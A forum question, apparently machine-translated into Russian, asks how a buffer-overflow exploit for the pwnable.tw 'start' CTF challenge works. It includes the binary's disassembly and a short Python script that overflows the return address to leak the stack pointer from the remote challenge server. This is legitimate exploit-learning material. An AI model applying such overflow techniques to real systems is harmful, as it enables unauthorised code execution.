Использование системных вызовов в сборке - PullRequest
0 голосов
/ 24 марта 2019

Я пытаюсь решить начальную задачу pwnable.tw , чтобы узнать немного больше об эксплойтах. Предоставленный разобранный двоичный файл выглядит следующим образом:

start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   54                      push   esp
 8048061:   68 9d 80 04 08          push   0x804809d
 8048066:   31 c0                   xor    eax,eax
 8048068:   31 db                   xor    ebx,ebx
 804806a:   31 c9                   xor    ecx,ecx
 804806c:   31 d2                   xor    edx,edx
 804806e:   68 43 54 46 3a          push   0x3a465443
 8048073:   68 74 68 65 20          push   0x20656874
 8048078:   68 61 72 74 20          push   0x20747261
 804807d:   68 73 20 73 74          push   0x74732073
 8048082:   68 4c 65 74 27          push   0x2774654c
 8048087:   89 e1                   mov    ecx,esp ; buffer = $esp
 8048089:   b2 14                   mov    dl,0x14 ; count = 0x14 (20)
 804808b:   b3 01                   mov    bl,0x1  ; fd = 1 (stdout)
 804808d:   b0 04                   mov    al,0x4  ; system call = 4 (sys_write)
 804808f:   cd 80                   int    0x80    ; call sys_write(1, $esp, 20)
 8048091:   31 db                   xor    ebx,ebx ; fd = 0 (stdin)
 8048093:   b2 3c                   mov    dl,0x3c ; count = 0x36 (60)
 8048095:   b0 03                   mov    al,0x3  ; system call = 3 (sys_read)
 8048097:   cd 80                   int    0x80    ; sys_read(0, ecx/$esp, 60)
 8048099:   83 c4 14                add    esp,0x14
 804809c:   c3                      ret    

0804809d <_exit>:
 804809d:   5c                      pop    esp
 804809e:   31 c0                   xor    eax,eax
 80480a0:   40                      inc    eax

Несколько записей ( 1 , 2 и 3 ) указывают на то, что решение заключается в утечке адреса esp, который был перемещен в ecx используя значения счетчика на sys_write и sys_read. Таким образом, мы можем принудительно установить обратный адрес на 0x8048087, чтобы программа зациклилась и напечатала содержимое esp.

Однако я не понимаю, как это действительно работает. Что именно системные вызовы делают с регистрами и как это меняет обратный адрес? Почему работает эксплойт?

from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = {0:08x}'.format(esp)

Я полагаю, что пошаговое пошаговое руководство, отображающее значения регистров для каждого шага, действительно может помочь решить проблему.

...